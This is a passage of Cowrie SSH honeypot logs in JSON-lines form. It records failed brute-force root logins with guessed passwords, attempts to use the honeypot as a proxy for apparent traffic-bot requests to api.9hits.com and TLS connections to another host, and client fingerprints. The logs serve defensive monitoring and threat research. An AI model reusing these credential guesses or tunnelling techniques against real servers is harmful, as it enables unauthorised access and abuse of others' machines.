Q3jGUn1I187EZF%2F%2BR0Te2NoEBreY5qZJX41vtwIS7CsZhNpItiXSgVhUdjpMOnlW8l300pPP9xdy2naqTeAAVj8631UboW%2FC4iE9Yxna5djI3O10essip%2BFUknrGjoUctpec1xEdPefea57goisOmXzMjf7wdjuYkU5W%2FBVuTxutIIRr7%2F%2FBCiXMaem4dt8%2F7cZ9Gwrz3KJQUGLaU9hrVpHVnqfQAZBbx0831TP4Lv%2BG4SDtnAw978IVwU9VyugP4RgkuUiQBJQ%2F8xANXwXUN2n%2FdgnAPRiHQGpGGe5AAx9z9e19Cc4HtZIQsw3fApb4%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; LM-X120) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=V1NeKTltVSsjdEZkYXlrQA%3D%3Df0v2eBOUIGS7hAsrKHZuToAxvmpHNIMP%2F5jBsS1bMVzt%2Fe8Bj8pN8M%2Frlw6n4T6iUnWw9q%2B%2BnqoyEc8NVM4KH70sQ6tFB3onnNmxpQiAFLDugnITXq14zGsjEJGmpDXLcnX6dsAz%2BbLfa3RB1LB%2Fwr6PetgCz048Nbj5IGVkZ4OxhgaGTHznaloIKzAFjElJs9oR5UoQXkpdLVrBtBWGGeOLToPU1itPAsHo5P9TSzhFYPOsQI6m2enkx6NOTn9DTY4vcLhkrwMI%2B%2FlBWjHPGHnnd5MbKcMPRL9gHAHUG4X1yt97cOl5x8%2B5tv6mk6xxn82eEdQ7YtPHJya3pBfQDb9jTCWRhEQcsZJ%2FSgfvX4%2FOe82WV4OaG7gGr8TL1wXkP9ttWhDZ2EDTwMPs%2BePiSWztDejtyruVF6pEgZPq9L1wRiyMVzUPDnBz6smhR%2BonIhnt7kSSPYePnEgNkt%2BUneLNRgR4fkZKBIGlvQ%2BqyLxw1%2BhQB49qkorsE6573osQQ8NVKRat1qszr%2BtFwQX%2Bn01%2BeZhVrazPI1mr47Zfk3BgrIGiXcCNqAcI1wHLShhnJNjZDsmi2eWmnE4QfcvZdyxSud9CFns5X1enUpB%2F8XsdRDv42Y0SebrV40VQlm6rMhlXu3yoV0%2B7EtpbAygVvYJtBepp3Q2nW%2FmOoyS63QAMGStBXzO7m6vVOF5I6RRxhY%2Ba27df%2BR8x1wvQAOYBGM3dUxZX3ZEhqoYC5VqQs4kQ3jGUn1I187EZF%2F%2BR0Te2NoEBreY5qZJX41vtwIS7CsZhNpItiXSgVhUdjpMOnlW8l300pPP9xdy2naqTeAAVj8631UboW%2FC4iE9Yxna5djI3O10essip%2BFUknrGjoUctpec1xEdPefea57goisOmXzMjf7wdjuYkU5W%2FBVuTxutIIRr7%2F%2FBCiXMaem4dt8%2F7cZ9Gwrz3KJQUGLaU9hrVpHVnqfQAZBbx0831TP4Lv%2BG4SDtnAw978IVwU9VyugP4RgkuUiQBJQ%2F8xANXwXUN2n%2FdgnAPRiHQGpGGe5AAx9z9e19Cc4HtZIQsw3fApb4%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:21.236931Z","src_ip":"113.164.152.20","session":"63d7e9e93aae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:21.240851Z","src_ip":"113.164.152.20","session":"63d7e9e93aae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03S\\x98\\xb4(zZ*(y\\x04I\\x04Du\\xe2\\x879\\xf0\\x9e:E\\xe24*\\xc7\\xec(k\\x1f\\x19\\x89\\xe0 \\xd5^N\\x16\"(\\x81\\xbdB\\xffU\\x8dyr\\xee\\r^<\\xfb\\xc6\\x12\\x1e\\xf1\\xfdI ;\\xbd*_^b\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd4\\x85^v\\xfa$\\xd5\\x0e\\xbfZ\\xbb\\x0e\\x8d\\xf6u\\xff\\xa5\\xef\\x95\\n\\xa9zS\\xcc\\xfa\\xbb\\x16\\xb4\\xe2\\x14\\x18\\n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03S\\x98\\xb4(zZ*(y\\x04I\\x04Du\\xe2\\x879\\xf0\\x9e:E\\xe24*\\xc7\\xec(k\\x1f\\x19\\x89\\xe0 \\xd5^N\\x16\"(\\x81\\xbdB\\xffU\\x8dyr\\xee\\r^<\\xfb\\xc6\\x12\\x1e\\xf1\\xfdI ;\\xbd*_^b\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd4\\x85^v\\xfa$\\xd5\\x0e\\xbfZ\\xbb\\x0e\\x8d\\xf6u\\xff\\xa5\\xef\\x95\\n\\xa9zS\\xcc\\xfa\\xbb\\x16\\xb4\\xe2\\x14\\x18\\n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:21.243441Z","src_ip":"113.164.152.20","session":"63d7e9e93aae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:21.402265Z","src_ip":"182.93.50.90","session":"7fc5ada7cb4f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:21.527609Z","session":"63d7e9e93aae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.1","message":"Connection lost after 25.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:21.546954Z","src_ip":"23.175.50.51","session":"a122d340776c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:21.807901Z","src_ip":"113.164.152.20","session":"63d7e9e93aae","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe4\\xeeo\\xc0\\xa1\\x9b\\x06\\xcd\\x80\\x96\\xab\\x9c\\xf3^\\xf5sN\\x13\\xb6\\x9bP(H\\x90qyq\\xb04pnV \\xd9cP\\xf7b\\n\\x9b2\\x04\\xeen\\x89{\\xbb\\x89\\xa5\\xa3s\\xa4\\x95A)\\xff.\\xcf\\xa7v\\x95\\xe3$\\xac\\x87\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x89\\xb6Rc\\'\\x1b\\xf6\\xbf\\xee\\x03\\xcc\\xb3bi\\xaa3\\xc2\\xd4\\xe1Z\\tI\\xf1A\\x9b\\nU_\\x18\\xbe(#\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe4\\xeeo\\xc0\\xa1\\x9b\\x06\\xcd\\x80\\x96\\xab\\x9c\\xf3^\\xf5sN\\x13\\xb6\\x9bP(H\\x90qyq\\xb04pnV \\xd9cP\\xf7b\\n\\x9b2\\x04\\xeen\\x89{\\xbb\\x89\\xa5\\xa3s\\xa4\\x95A)\\xff.\\xcf\\xa7v\\x95\\xe3$\\xac\\x87\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x89\\xb6Rc\\'\\x1b\\xf6\\xbf\\xee\\x03\\xcc\\xb3bi\\xaa3\\xc2\\xd4\\xe1Z\\tI\\xf1A\\x9b\\nU_\\x18\\xbe(#\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:21.812282Z","src_ip":"113.164.152.20","session":"63d7e9e93aae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:22.260277Z","src_ip":"113.164.152.20","session":"63d7e9e93aae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa.123456789","message":"login attempt [root/Aa.123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:22.312091Z","src_ip":"182.93.50.90","session":"7fc5ada7cb4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:23.534197Z","src_ip":"182.93.50.90","session":"7fc5ada7cb4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":56982,"dst_ip":"159.203.135.109","dst_port":22,"session":"470253922233","protocol":"ssh","message":"New connection: 103.172.78.219:56982 (159.203.135.109:22) [session: 470253922233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:23.671188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:23.675525Z","src_ip":"103.172.78.219","session":"470253922233","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:23.940496Z","src_ip":"103.172.78.219","session":"470253922233","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"290991","message":"login attempt [root/290991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:24.738471Z","src_ip":"103.172.78.219","session":"470253922233","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:26.006541Z","src_ip":"103.172.78.219","session":"470253922233","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:26.315526Z","session":"599354918664","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:26.350484Z","src_ip":"63.141.242.2","session":"599354918664","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03r8\\x84\\t\\x12\\xf4\\xdf\\x0c\\xeej\\xa3\\xc5\\x7f\\x1f\\x94\\x0e\\xf7\\xa0p\\x12\\x0e\\x8b\\x8a\\x85V \\xa6X\\x0e=\\xe4\\xd4 \\x9eqS;\\xa2.s\\x9dd\\xc1a\\x86\\xb9c\\xe1\\x9ce\\xf3\\x133\\x99\\xf4lD\\x0f\\xc3z\\xdd\\xc6\\x04\\x8b|\\x00 